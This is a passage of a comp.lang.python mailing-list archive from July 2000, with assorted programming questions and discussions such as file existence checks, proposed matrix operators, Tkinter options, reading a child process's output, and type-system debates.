Message-ID: <396B4D2C.19ACF45@tts.thomson-csf.com>

hi back,

import os
if os.path.isfile(<your_file>):
    <do_what_you_want>

easy
Jerry, the foolish dracomorpheus

"Fernando Rodr?guez" a ?crit :

> Hi!
>
>     How can I check if a file exists? O:-)
>
> TIA
>
> --
>
> ---------------------------------------
> Fernando Rodr?guez



From bjorn at roguewave.com  Mon Jul 17 15:24:30 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Mon, 17 Jul 2000 13:24:30 -0600
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com>
Message-ID: <39735D6E.8E3349D9@roguewave.com>

Huaiyu Zhu wrote:

[snip]
 
> As to the claim that additional operators for linear algebra is somehow
> comparable to the special syntaxes/quirks of various programming languages,
> no real argument has been presented so far.  It's more like: If I don't care
> and don't use such things, they must belong to a special domain and be
> somehow comparable to some other things that I do know and dislike.

On the contrary. The argument is something like the following:

 - Python is a general purpose language, and as such it can't
   support special case syntax for Matrix/cgi/xml/db programming.
   (special syntax has previously been requested for both cgi and
   db programming).
 - The proposal is to add a handful of operators that would only
   have meaning in this one domain.
   - the criteria for addition to the core is something that is
     generally useful for a large segment of the community.
     (and it's your job to convince us of it, not ours to 
     convince you that it isn't -- many more people would like
     to see Stackless in the core, but that's not going to happen
     anytime soon either...)
   - that many problems can be reduced to matrix operations is
     a non-argument, since the same is true of functional/
     procedural/oo/predicate programming.
 - There are allready ways of performing the required tasks in 
   Python, so there is no absolute need to add this to the core.
 - Other straight forward solutions has been proposed including
   list comprehensions and Moshe Zadka's elementwise class
   approach.

> On the other hand, alternative arguments based on analysis of functionality,
> overall design, history of evolution and possible future extension, etc,
> would carry some real persuasive weight.

If you really want to convince people, I would like to see examples of
how adding these operators would make working in other domains easier
(directly, not through translation through linear algebra).

-- bjorn



From m.faassen at vet.uu.nl  Thu Jul 20 11:54:29 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 20 Jul 2000 15:54:29 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <39770DB6.372D4CFB@prescod.net>
Message-ID: <8l77bl$puk$1@newshost.accu.uu.nl>

Paul Prescod <paul at prescod.net> wrote:
> Martijn Faassen wrote:
>> 
>> ...
>>
>> >From a game programming perspective, you can probably consider Python to
>> be dirt-slow, though. The trade-off is a lot of power for speed, but
>> that power can help you gain back speed because you can be a lot smarter.

> Python is dirt-slow if you are going to write a whole game in it.

I wonder, in fact. :) Depends on the game and how smartly you offload
the speed critical bits to C.

> But is
> it really much slower than the embedded scripting languages these games
> sometimes have?

Depends, probably not. See my other reply. I know game programmers have
a very speed oriented mind set, and to leave absolutely no impression
that Python's fast compared to C or assembler, I used the word 'dirt-slow'.

A custom scripting language in a game can be faster at what it is designed
for. Often it's probably also extremely frustrating if you want to do
anything else, I imagine. And people *will* want to do something else with
it. 

That said, I think Python can definitely be used in a game engine and that
it wouldn't be too slow for many purposes. Include babbling about
'premature optimization' and 'reinventing the wheel' here as arguments
for the use of Python in games.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From thomas_s at ebox.tninet.se  Sun Jul  9 15:37:22 2000
From: thomas_s at ebox.tninet.se (Thomas Svensson)
Date: Sun, 09 Jul 2000 20:37:22 +0100
Subject: Tkinter and default options
References: <8jnbhm$bb6$1@cubacola.tninet.se> <FPK75.3538$4C4.75025@news2-win.server.ntlworld.com>
Message-ID: <8kaggk$3no$1@zingo.tninet.se>

In article <FPK75.3538$4C4.75025 at news2-win.server.ntlworld.com>,
"richard_chamberlain" <richard_chamberlain at ntlworld.com> wrote:
> Hi Thomas,
> 
> You can use an option database. If you create a file called optionDB
> with for example the following kind of entries:
> 
> *font:                                Times New Roman
> *Button*foreground            blue

Thanks,

I've tried and it works.. almost. It seems like some options are not read
from the file. For instance I have the following options defined:

*Button*activebackground: green
*Button*activeforeground: yellow
*Button*background: black
*Button*foreground: green
*Button*highlightground: black
*Button*activeforeground: lightgreen
*Button*relief: flat

It works for all but activebackground and activeforeground, they are still
grey. Did I do something wrong or could this be a bug in Tkinter?


Regards, Thomas




From shouldbe at message.com  Mon Jul 31 15:33:42 2000
From: shouldbe at message.com (Arinté)
Date: Mon, 31 Jul 2000 19:33:42 GMT
Subject: Best way to solve dual call???
Message-ID: <qwkh5.29459$ga2.842047@newsread2.prod.itd.earthlink.net>

Review:
I have this app that allows python scripts to talk to devices thru a c++ app
and a dll.  At certain times the device may need to send a message to the
script like COVER_OPENED/COVER_CLOSED.  Currently, it is giving me a error
in the Thread State stuff.  It works ok if there is a call to the script and
while that call is being made then send the message.  Example I have a
messagebox in my dll that python scripts can pop up, while the script is
waiting for that messagebox to go away Messages from the device can safely
make it in.  I could tell the testers to popup a window whenever a message
may be expected, but that is not practical or possible.  Any hints on what I
could do?

I am using python 1.5.2 and these will mostly be windows machines for now.


thanx.




From fiona at sitegnome.com  Sun Jul 30 00:35:44 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 30 Jul 2000 04:35:44 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 30th, 2000
Message-ID: <20000730043544.27027.qmail@synop.com>

Hello Guys,

The latest entries to http://python.faqts.com

cheers,

Fiona


## New Entries #################################################


-------------------------------------------------------------
What is the difference between 'import Tkinter' and 'from Tkinter import *'?
http://www.faqts.com/knowledge-base/view.phtml/aid/5096
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain

If you use the from <something> import <something or *> it imports the
contents into the current namespace.

For instance if you use:

from Tkinter import *

you can use Label or Button directly,

However, if you use import Tkinter you would have to use Tkinter.Label 
or Tkinter.Button.

It is considered fairly poor practice to use from * import because 
you're bringing everything into the current namespace. One of the 
exceptions to this is GUI programming  (i.e. Tkinter or whatever) 
because the names used are fairly obviously GUI related 
(Button,Widget,Canvas,etc.)


-------------------------------------------------------------
Does anyone know how to read the PCI configuration space with Python under Win 98 or Linux?
http://www.faqts.com/knowledge-base/view.phtml/aid/5097
-------------------------------------------------------------
Fiona Czuczman
Shae Erisson, Erno Kuusela, Moshe Zadka, Tim Roberts

Under linux you have 3 options:

* use the lspci program. try lspci -x or lspci -vvv
* read the files under /proc/bus/pci/ (this is actually what the lspci 
program does, but using lspci might save you from future format changes 
in these files...)
* read /proc/pci
  do this if you are using an older version of linux (2.0.x)

  cat /proc/pci

  Or, in Python,

  open("/proc/pci").read()

Doing this under Windows requires a C extension, and even then it isn't
easy.  Under Windows 98, you can scan the BIOS for the PCI entry point 
and call it directly.  Under Windows NT, even this doesn't work; you 
need the help of a kernel driver.

Much of the interesting PCI information is buried in the registry, which 
IS accessible from Python.






From paul at prescod.net  Fri Jul 14 09:44:32 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 14 Jul 2000 08:44:32 -0500
Subject: Test writing volunteers needed
References: <14700.44683.572283.391037@beluga.mojam.com> <slrn8mspe5.k6.amk@mira.erols.com> <396EDC58.8A60673D@darwin.in-berlin.de>
Message-ID: <396F1940.384E8C1F@prescod.net>

"Dinu C. Gherman" wrote:
> 
> 
> What about using the excellent Python unittest module
> (pyunit.sourceforge.net) to accomplish this, like in the
> code below? 

There are two issues. First Skip asked about testing particular modules
that are not currently tested using Python's standard test suite. Those
test cases should use Python's standard testing framework, which is
documented in the Python source distribution.

Unrelated, there has been a little idle chatter about adopting a more
sophisticated unit testing suite. It may go nowhere, but Jeremy has
recently asked for a volunteer to compare and contrast some of the
existing unit testing packages as a basis for discussion.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From annebo at nbnet.nb.ca  Tue Jul 11 14:30:13 2000
From: annebo at nbnet.nb.ca (pascal bosse)
Date: Tue, 11 Jul 2000 18:30:13 GMT
Subject: www.toomany.net new web site
Message-ID: <396B9F37.F551A274@nbnet.nb.ca>




From matt at nightrealms.com  Sat Jul 15 04:41:31 2000
From: matt at nightrealms.com (Matthew Cline)
Date: Sat, 15 Jul 2000 00:41:31 -0800
Subject: '"""' and linefeed characters
Message-ID: <NFUb5.19400$MT.474440@news-west.usenetserver.com>

I'm assuming that returns in a '"""' quoted string are given
the linefeed character(s) of the operating system Python is
run on.  Is this right?

Thanks in advance.




From olivierS.dagenaisP at canadaA.comM  Mon Jul 24 10:40:53 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Mon, 24 Jul 2000 14:40:53 GMT
Subject: IDLE window disappears - more info
References: <397A3EEA.792BDDEB@helicon.net> <1use5.617$Gh.13635@news20.bellglobal.com> <397AFD92.7F17FFD1@helicon.net> <397B0D93.6A5EE7CB@helicon.net> <rcIe5.9147$Gh.74143@news20.bellglobal.com> <8lfq6o$g07$1@nnrp1.deja.com> <397B96EE.9C62A45F@helicon.net> <xvNe5.11473$Gh.110433@news20.bellglobal.com> <397C3567.18E4546B@helicon.net>
Message-ID: <VzYe5.26010$1h3.420208@news20.bellglobal.com>

"Rodney Loisel" <rloisel at helicon.net> wrote in message
news:397C3567.18E4546B at helicon.net...
> If I have to type the following in a dos prompt with no history or mouse
support
> every time I want to run a python program perhaps I'm asking the wrong
> questions...
>

As a programmer, the mouse becomes less and less useful because it takes so
much longer to do what your eight fingers can do.  Trust me:  learn keyboard
shortcuts for everything and you'll be amazed as to how quicker it will be.
Oh, and you can easily get history in NT, and in Win9X, type DOSKEY once and
you'll have history.  (you may want to put it in your AUTOEXEC.BAT file)

Besides, you only need to use a DOS prompt to see the exceptions being
thrown when double-clicking on a .py file produces a window that disappears
right away...

> "C:\Your\Dir\Here>python  C:\Your\Dir\Here>python hello.py"

I don't know what you're trying to do with this, but I don't think it will
work for you.  Your\Dir\Here was meant to represent the path where your
scripts were and also the point where you invoked Python...

The rest of your questions seem to have been answered...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III






From alex at magenta.com  Sun Jul 30 05:28:35 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 11:28:35 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <slrn8o75j2.fjt.grey@teleute.rpglink.com>
Message-ID: <8m1evd02n4o@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o75j2.fjt.grey at teleute.rpglink.com...
> On Sun, 30 Jul 2000 01:48:32 GMT, Grant Edwards <nobody at nowhere.nohow>
wrote:
> >I concur. In non-programming, life is strictly typed. Allowed
> >operations are determined by the type of the object. You can't
> >make a phone call on a waffle-iron.  Were I to _try_ to make a
> >phone call on a waffle-iron, it doesn't "automagically" convert
> >istelf into a telephone.  Instead, I get a rather interesting
> >burn pattern on the side of my head.
>
>     You're making the mistake of trying to associate programming concepts
to
> real world objects.

Why is that a mistake?  We're trying to MODEL "the real world", at
some remove (abstraction) to be sure.  Prima facie, a correspondence
between significand and significant is A Good Thing (it helps rather
than hinder the modeling); while there are of course exceptions, the
burden of proof is clearly on the one trying to show that a certain
characteristic is best not-modeled in a given context.

Much, perhaps most, of what philosophers have been trying to do over
the last 2,600 years or so, is exactly about this, by the way.  While
the drastical criticisms of this endeavour in the "Philosophical
Untersuchungen" are well warranted, some grounding in what went on
before does help in making heads or tails out of it.  I've always
been rather perplexed at the lack of philosophy courses in the
education of typical software engineers (as for me, fortunately, I
am old enough, and European enough, that I got a "typical liberal
education" in a Lyceum before moving on to Engineering in University:-).

For an interesting mix of these philosophical considerations with
some rigour and pragmatism, try modern semiotics, most particularly
Umberto Eco (of course I'm biased in his favour -- he teaches at
my Alma Mater [which happens to be THE original "Alma Mater"], albeit
in Arts rather than Engineering, plus, how many high-powered academics
you know that are also best-selling novelists?-).


>     I'm sorry, but that is why I said data is data is data.

"Significants are significants", but they signify different
significands in any semiotic system (meaning-system).  Nor do
you deny this, except that you want to draw the line at
'structure' or 'behaviour', AND fail to accept that strings
in particular have both structure and behaviour so you'd
like to get them 'merged' with numbers (whose behaviour in
fact differs).


>     To give you a counter example when I write my pen doesn't toss up an
> exception when I write out, "11 people are insane!" because it contains an
> integer in a string context!

As a tool for modeling, a pen significantly fails to possess any
semantic capability itself.  All it does is lay ink on some surface,
and all levels of meaning upon those ink-blobs (the very fact that
they are meant to be structured into sequences of characters, the
alphabet being used, and so on up) depend on other layers of the
modeling-system.  Your pen won't (can't) complain, nor help you
avoid the problem, if you use it to make totally random splotches
of ink.  Other tools impose more structure -- e.g., a typewriter
imposes a character-oriented structure, and a given alphabet of
character-symbols; that makes it more suitable for its intended
tasks, while at the same time removing some flexibility (if you need
to prepare a Rorschach test, a pen or brush is more appropriate than
a typewriter; but for writing text, a typewriter offers a higher
productivity if it's applicable in your given context).

It's not a meaningful criticism of a typewriter that it's not as
good as a pen if making random splotches of ink is your purpose.
It IS an important consideration to keep in mind if you often
need Rorschach-work, to help you pick the best tool for each task,
of course.


Alex





From lull at acm.org  Tue Jul 18 10:51:52 2000
From: lull at acm.org (John Lull)
Date: 18 Jul 2000 09:51:52 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators  for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <3973A347.3ABCB12F@prescod.net>
Message-ID: <ilq8nss3pc0luvogh4kdh1pdlrnu7614df@4ax.com>

At the dawn of the third millenium (by the common reckoning), Paul
Prescod <paul at prescod.net> wrote (with possible deletions):

> I don't think you need __getattr__
> 
> class Matrix:
> 	def __init__( self, ....):
> 		self.T=Transpose( self )
> 		self.H=Hermitian( self )
> 		self.I=Inverse( self )
> 		self.C=Conjugate( self )
> 		self.E=Elementwise( self )
> 		self.M=self # matrixwise is default
> 	... other matrix-like methods ...

This, I think, works for everything but .E.  You can write a method
Transpose which, for most possible classes derived from Matrix, does
the right thing by returning a derived class object with the data
transposed.  An element-wise matrix, however, would have exactly the
same data as the original matrix, it just has a lot of the *methods*
replaced.  To make this work for derived classes, you have to either
add a level of indirection to all the standard operator methods, or
prohibit overriding the standard operator methods.

How about one small change to Python, breaking no existing code, and
applicable (I'm sure) to domains far-afield from linear algebra:

Currently,
    object operator other
is really just convenient shorthand for:
    object.__operatorname__(other)
or
    other.__roperatorname__(object)
where operator is any binary arithmetic operator.

What if we simply make
    object @operator other
convenient shorthand for:
    object.__alt__operatorname__(other)
or
    other.__alt__roperatorname__(object)
for all those same operators?

This would be a syntax error when applied to anything other than an
object, and would raise an appropriate exception if neither object nor
other provided an appropriat __alt method.

This would provide a way of adding a reasonable variety of
domain-specific operators to *any* class with very little impact on
the language, zero runtime penalty, and obvious & correct behaviour
when creating derived classes.  It would not break any existing code
and should be very simple to implement.

I haven't thought through whether the same behavior should apply to
anything other than binary arithmetic operators.  Doing so would seem
very Pythonic.

Regards,
John


From nobody at nowhere.nohow  Fri Jul 28 21:22:29 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 29 Jul 2000 01:22:29 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <3h8zumi4i2.fsf@angband.org> <slrn8o3f73.49c.grey@teleute.rpglink.com>
Message-ID: <slrn8o4cel.abr.nobody@isis.visi.com>

In article <slrn8o3f73.49c.grey at teleute.rpglink.com>, Steve Lamb wrote:
>On 28 Jul 2000 12:49:57 -0400, Eric Lorenzo <zo at angband.org> wrote:

>>But communication with the *computer* isn't actually the primary
>>purpose of typing.  Rather, typing is a means for programmers to
>
> Funny, I thought that was what comments were for.

Comments are in theory good things.  

In practice they're usually bad because they're generally wrong.

> Given the choice, I'd rather have comments, not cues in the code.  :)

You must have been given code to maintain that was in a much different state
than most of that upon which I've worked.  Even if only 10% of the comments
are wrong, you don't know _which_ 10% are wrong, so you've to figure out
what the code does anyway.  If I can tell what a line of code does, I delete
the comment.  If I can't tell what a line of code does, I figure out what it
does, re-write it to make it more obvious, and delete the coment.

The only comments I've ever found to be useful are the general descriptions
of what a function is supposed to do.  Comments along the lines of

"This function appends files (given pathnames) to a MIME e-mail"

"This function sends a MIME e-mail to an SMTP server"

Comments documenting individual lines of code are in my experience wrong
often enough that they are useless.  The possible exception to this is in
_very_ carefully maintained assembly language programs where there is simply
no way to make the purpose of a line of code obvious without a comment.

-- 
Grant Edwards                   grante             Yow!  Was my SOY LOAF left
                                  at               out in th'RAIN? It tastes
                               visi.com            REAL GOOD!!


From figNOfiSPAM at oreilly.com.invalid  Fri Jul  7 20:35:51 2000
From: figNOfiSPAM at oreilly.com.invalid (fig)
Date: Fri, 07 Jul 2000 17:35:51 -0700
Subject: More math on the O'Reilly Network
References: <3964CA9B.CBCD5B03@oreilly.com> <8k41s8$a8i$1@snic.vub.ac.be>
Message-ID: <21a69d79.ebd96c80@usw-ex0104-032.remarq.com>

Thomas Hamelryck <thamelry at vub.ac.be> wrote:
> Well, it's more an introduction to vector and matrix algebra
> than a tutorial on Numpy. Most people who take the trouble
> installing Numpy are quite familiar with this stuff.

I was hoping some people reading it might be inspired to install
NumPy without being quite familiar with this stuff.  I think
Python is a great educational tool for exploring Linear Algebra.

Sounds like the article didn't go where you wanted it to go.
What aspects of NumPy were you looking for a good tutorial on?




-----------------------------------------------------------

Got questions?  Get answers over the phone at Keen.com.
Up to 100 minutes free!
http://www.keen.com



From sharris at nospam.primus.com.bbs  Mon Jul 17 13:10:02 2000
From: sharris at nospam.primus.com.bbs (sharris at nospam.primus.com.bbs)
Date: 17 Jul 2000 17:10:02 GMT
Subject: Changing the class of an instance
Message-ID: <3bRJFQ$kPw@openbazaar.net>

richard at cogsci.ed.ac.uk (Richard Tobin) writes:

[...]

> None, except to directly model the XML Schema specification which
> talks in terms of adding properties to info items in an existing
> infoset.

Perhaps the "Envelope-Letter Idiom" is applicable here, provided that
clients of the validation transformation don't need to know the
precise type of the grove nodes.

Which raises a different idea: Would a generic "get/set property"
interface be acceptable? In that way, the additional properties
getting added by the validation phase don't change the objects'
concrete interface. Rather, they just expand the range of possible
property strings to set or get. I know that's not as syntactically
nice as swapping the concrete interface.

[...]

--
Steven E. Harris
Primus Knowledge Solutions, Inc.
http://www.primus.com


From luthi at vaw.baug.ethz.NOSPAM.ch  Mon Jul 24 12:39:08 2000
From: luthi at vaw.baug.ethz.NOSPAM.ch (luthi at vaw.baug.ethz.NOSPAM.ch)
Date: 24 Jul 2000 18:39:08 +0200
Subject: Searching a binary file
Message-ID: <yfmu2dfv5xv.fsf@erato.i-did-not-set--mail-host-address--so-shoot-me>

What is the fastest way to search a binary file for a certain byte pattern
(**** in my case)?

I came up with this solution, but I guess there is a better way to do
it. Thanks for all suggestions.

Martin Luethi

=====

# constants
MaxFileSizeInMemory = 10*1000*1000

file = open('my_binary_file', 'b')

file.seek(0,2)                   # set the pointer to the end of the file
filesize = file.tell()           # get the size of the file
file.seek(0)                     # reset the file pointer
rex = re.compile(r'[\*]{4}')     # the bytes to search for
starpointer = []                 # position of the '****' in the file
oldpos = 0
for i in range(filesize/MaxFileSizeInMemory + 1):
    data = self.file.read(MaxFileSizeInMemory) # read a chunk of bytes
    m = rex.search(data)         
    while m:                     # find all '****' in this chunk 
        pos = m.start() - 4      # corrected for the length of '****'
        incpointer.append(pos + i*MaxFileSizeInMemory)
        m = rex.search(data, pos + 10)
        oldpos = pos
file.close()		         # close the file

-- 
============================================================
Martin Luethi			Tel. +41 1 632 40 92
VAW ETH Zuerich			
CH-8092 Zuerich			mail luthi at vaw.baum.ethz.ch
Switzerland
============================================================


From jblaine at kickflop.ne.mediaone.net  Thu Jul 13 21:44:51 2000
From: jblaine at kickflop.ne.mediaone.net (Jeff Blaine)
Date: Fri, 14 Jul 2000 01:44:51 GMT
Subject: getpid Usage
References: <8kksms+n5h5@eGroups.com>
Message-ID: <slrn8mss2r.7cg.jblaine@kickflop.ne.mediaone.net>

In article <8kksms+n5h5 at eGroups.com>, david at tumbleweed.com wrote:
>Is there some convenient way of getting os.getpid to return the PID of
>a given executable? What I want to do is start a process and know it's
>PID. When I do the following I get the PID of the python executable.
>
>os.system("path")
>os.getpid()
>
>Alternatively, as a hack, I am doing:
>os.system(self.m_server_start_exe)
>for line in os.popen("ps -ef | grep -i IMEController | awk '{ if (NR >
>1) { print $2 }}'").readlines():
>            pid = line[:-1]
>
>I would rather just path in an executable name/pathname and have it
>return this process' pid. Is there an updated version of os.getpid I
>could use to do this. If not, is there a better solution that is not
>shell dependent?

Unless someone has an answer to this (I don't know of one),
if you have the source to the thing you are spawning, I recommend
writing out a PID file as part of that program (/tmp/my.pid,
whatever).


From mikk at microbsys.com  Thu Jul 13 07:21:26 2000
From: mikk at microbsys.com (Mike Mikkelsen)
Date: Thu, 13 Jul 2000 11:21:26 +0000
Subject: determining type
Message-ID: <396e07fd@news-out>

Hello All,

Is there a way, programmatically,  to determine if an item in a dictionairy is itself a dictionairy?

consider:
>>>   a = {'item1': 'hello', 'item2':{'subitem1':'goodbye'}}
>>>   print a['item2']['subitem1']
goodbye

Is there a way to tell if 'item2' is a dictionairy, list or simple value like 'item1'?



TIA

-- 
Mike Mikkelsen                   mikk at microbsys.com
Micro Business Systems         http://microbsys.com
Fresno Linux Users Group  http://linux.fresno.ca.us

                 It's all GNU to me!



From Jonathan_Epstein at nih.gov  Thu Jul 20 15:11:54 2000
From: Jonathan_Epstein at nih.gov (Jonathan Epstein)
Date: Thu, 20 Jul 2000 15:11:54 -0400
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <m2bszsokwh.fsf@spiff.home.com>
Message-ID: <39774EFA.62287E6E@nih.gov>

This looks very nice, although I like the second solution, i.e.
 A(*)B   # matouter
 A(.)B   # matinner (AKA dot, get it?)
much better.  It would be best to stay away from brackets and braces if
we can ... somebody else may want to use them someday, and this sort of
trickery looks too much like line noise to me.

The special constituencies can even be addressed using two-character
sequences within the parens if necessary.  E.g., for Kroneker use
 A(.K)B
I'm not actually proposing this specific syntax because it's so horrible
looking and potentially hard to parse, but some variant on this might do
the trick.

-Jonathan



Tim Hochberg wrote:
> 
> Gregory Lielens <gregory.lielens at fft.be> writes:
> 
> > Tim Hochberg wrote:
> [...]
> > I like the parethese a lot! except for ? which is probably out of
> > question,
> > this is the prettier way to do it, but (alwas a but :-( )
> >
> > - the solve operator indeed...The only thing i can come with is the ugly
> > (%)
> >   or the pretty but out-of-question (\)
> 
> My favorite right now is |. So one would have:
> 
> A[*]B    # matouter
> A(*)B    # matinner
> A(/)B    # matdiv
> A(|)B    # matsolve
> A(^)B    # matpower
> 
> Alternatively, one could use:
> 
> A(*)B   # matouter
> A(.)B   # matinner (AKA dot, get it?)
> 
> That would cut down on the available symbols, but might make parsing
> easier? It might also be easier to distinguish between the two
> products.
> 
> I've left out other potential outer operators (outer sum, etc) and
> alternate inner products (Lie, Kroneker, ?) pending finding a
> constituency for them.
> 
> [snip grammar issues and how to choose inner product axes]
> 
> -tim


From thiele at muc.das-werk.de  Wed Jul 26 07:37:01 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Wed, 26 Jul 2000 13:37:01 +0200
Subject: reading stdout from child
Message-ID: <397ECD5D.409A6819@muc.das-werk.de>

Hallo!

I have a python program. It works fine.
But: I wrote a second python program that should start these program
using popen to read it's stdout. And this works not fine, too.
But not always.

Sorry but it is little bit long.

First the wrapper ( I use my own popen for experiment ):
This program forks a child and should print it's stdoutput.
LOCALSTART.py
#------------------------------------------------------------------------------------

#! /usr/local/python/bin/python

import popen2, os, select, sys, string

class LocalWrapper:
 def __init__(self):
  self.listofchilds = []

 def start(self, command):
  self.startone(command)

 def startone(self, command):
  #create pipes for communication
  p2cread, p2cwrite = os.pipe()
         c2pread, c2pwrite = os.pipe()
  errout, errin = os.pipe()

  #fork new process
  self.PID = os.fork()

  if self.PID == 0: #**********child**********

   #stdout und stdin
   os.close(0)
   os.close(1)
   os.close(2)
   if os.dup(p2cread) != 0:
                  sys.stderr.write('popen2: bad read dup\n')
   if os.dup(c2pwrite) != 1:
                  sys.stderr.write('popen2: bad write dup\n')
   if os.dup(errin) != 2: pass
   for i in range(3, 256):
                  try: os.close(i)
                  except: pass

   commlist = string.split(command, " ")
   try: os.execvp( commlist[0], commlist )
             finally: os._exit(1)


  if self.PID > 0: #**********father**********
   os.close(p2cread)
          os.close(c2pwrite)
   os.close(errin)
   fout = os.fdopen(c2pread)
   while 1:
     stdoutput, errorout = "", ""

     stdoutput = fout.readline()  <------- ?????????

     if stdoutput: print stdoutput,

     if not stdoutput:
      break

   try: os.waitpid(self.PID, 0)
   except OSError: print "no child" #pass

   os.close(p2cwrite)
   os.close(c2pread)
   os.close(errout)
   print "child is dead!!!!!!"

#******************************************
#*
Main                                    *
#******************************************
if __name__ == "__main__":

 import sys

 argstr = sys.argv[1]
 for arg in sys.argv[2:]: argstr = argstr + " " + arg

 LocalWrapper().start(argstr)

#------------------------------------------------------------------------------------



second the main part from the other script LOCALSERVER.py.
It's actually a server derived from SocketServer.py with a class for
functionality

#------------------------------------------------------------------------------------

#******************************************
#*
Main                                    *
#*******************************************
import sys
sys.stdout.write("HHHHHHAAAAAAAALLLLLLLLLLLLLLLOOOOOOOOOO!\n")
if __name__ == '__main__':
 import os,sys,string

 def usage():
  print 'Usage: %s host port processors memory(mb)' %
os.path.basename(sys.argv[0])

 if len(sys.argv) < 4:
  usage()

 else:
  # Handle command line arguments
  host = sys.argv[1]
  port = string.atoi(sys.argv[2])
  processors = string.atoi(sys.argv[3])
  if len(sys.argv) >= 5: memory = string.atoi(sys.argv[4])
  else: memory = 0

  print "Starting local render server: Host: ", host, "Port: ", port,
"Process: ", processors, "RAM(mb): ", memory, "\n"
  print "Version: ", VERSION, "\n"

  executer = Local_Job_Executer(processors, memory, host) <-- this class
is not of interest
  server = Local_Job_Server(host, port, executer)  <-- derived from
SocketServer(multithreading)


  server.serve_forever() <--- disabled: it works

#------------------------------------------------------------------------------------

When I call "LOCALSTART.py LOCALSERVER.py odin 1750 1" I expect to get
the normal screen output:

HHHHHHAAAAAAAALLLLLLLLLLLLLLLOOOOOOOOOO!
Starting local render server: Host:  odin Port:  1750 Process:  1
RAM(mb):  0

Version:  25_07_2000_1

and from all other prints later in the program LOCALSERVER.py

but It works only if I disable server.serve_forever(). If the program
runs into the infinite loop I will get no output.
I cannot read the output in the warpper (see marked line <---??????? in
LOCALSTART.py).

Why? I expect that readline read when an output with newline at the end
was written?

Thank you for help
Thomas




From kpmurphy at my-deja.com  Tue Jul 18 10:27:11 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Tue, 18 Jul 2000 14:27:11 GMT
Subject: tkinter text
Message-ID: <8l1pfa$oci$1@nnrp1.deja.com>

is there a way to make a text box uneditable by the user, but insertable
( insert(END, 'schweet') ) by the application?  thanks

-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From db3l at fitlinxx.com  Wed Jul 12 15:13:13 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 12 Jul 2000 15:13:13 -0400
Subject: comparing a directory to current dir...
References: <396B9C5E.FCE5F683@roguewave.com> <8kh9if$5co$1@pollux.ip-plus.net>
Message-ID: <u1z0z88mu.fsf@ctwd0143.fitlinxx.com>

"J?rgen Hermann" <jhe at webde-ag.de> writes:

> "Bjorn Pettersen" <bjorn at roguewave.com> schrieb im Newsbeitrag
> news:396B9C5E.FCE5F683 at roguewave.com...
> > the problem is that os.path.abspath(os.curdir) contains the drive letter
> > on Windows and os.path.abspath(directory) doesn't.
(...)
> Your windows must be different from mine. :)   Mine is NT4SP6a.

Either that or Bjorn doesn't have the win32 extensions installed.  It
turns out that ntpath.py in the standard library will actually try to
use the win32 extensions to let NT produce the absolute path, but if
not present will silently revert to internal functions, which can
under some conditions produce the behavior Bjorn was seeing.

It depends on os.path.isabs() being used to determine if the supplied
string is already an absolute path, which it will say yes to if it
